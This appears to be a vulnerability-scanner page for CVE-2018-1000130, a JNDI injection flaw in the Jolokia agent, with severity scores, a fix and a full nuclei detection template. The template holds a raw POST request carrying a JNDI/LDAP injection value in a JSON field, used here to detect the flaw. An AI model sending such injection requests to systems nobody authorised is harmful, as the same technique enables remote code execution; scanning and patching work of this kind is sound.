Jolokia Agent - JNDI Code Injection

highseverity

8.1CVSS score

73.7%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

Jolokia agent is vulnerable to a JNDI injection vulnerability that allows a remote attacker to run arbitrary Java code on the server when the agent is in proxy mode.

Impact

Successful exploitation of this vulnerability can lead to remote code execution, compromising the affected system.

Fix

Apply the latest security patches or updates provided by the vendor to fix the vulnerability.

How to confirm it

Send: POST /jolokia/read/getDiagnosticOptions
Positive when: contains "Failed to retrieve RMIServer stub: javax.naming.Communicati…" AND status 200

Run it with nuclei: nuclei -id CVE-2018-1000130 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2018-1000130

info:
  name: Jolokia Agent - JNDI Code Injection
  author: milo2012
  severity: high
  description: |
    Jolokia agent is vulnerable to a JNDI injection vulnerability that allows a remote attacker to run arbitrary Java code on the server when the agent is in proxy mode.
  impact: |
    Successful exploitation of this vulnerability can lead to remote code execution, compromising the affected system.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to fix the vulnerability.
  reference:
    - https://jolokia.org/#Security_fixes_with_1.5.0
    - https://access.redhat.com/errata/RHSA-2018:2669
    - https://nvd.nist.gov/vuln/detail/CVE-2018-1000130
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/SexyBeast233/SecBooks
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.1
    cve-id: CVE-2018-1000130
    cwe-id: CWE-74
    epss-score: 0.73712
    epss-percentile: 0.99477
    cpe: cpe:2.3:a:jolokia:webarchive_agent:1.3.7:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: jolokia
    product: webarchive_agent
  tags: cve2018,cve,jolokia,rce,jndi,proxy,vkev,vuln

http:
  - raw:
      - |
        POST /jolokia/read/getDiagnosticOptions HTTP/1.1
        Host: {{Hostname}}
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.
        Content-Type: application/x-www-form-urlencoded

        {
           "type":"read",
           "mbean":"java.lang:type=Memory",
           "target":{
              "url":"service:jmx:rmi:///jndi/ldap://127.0.0.1:1389/o=tomcat"
           }
        }

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "Failed to retrieve RMIServer stub: javax.naming.CommunicationException: 127.0.0.1:1389"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from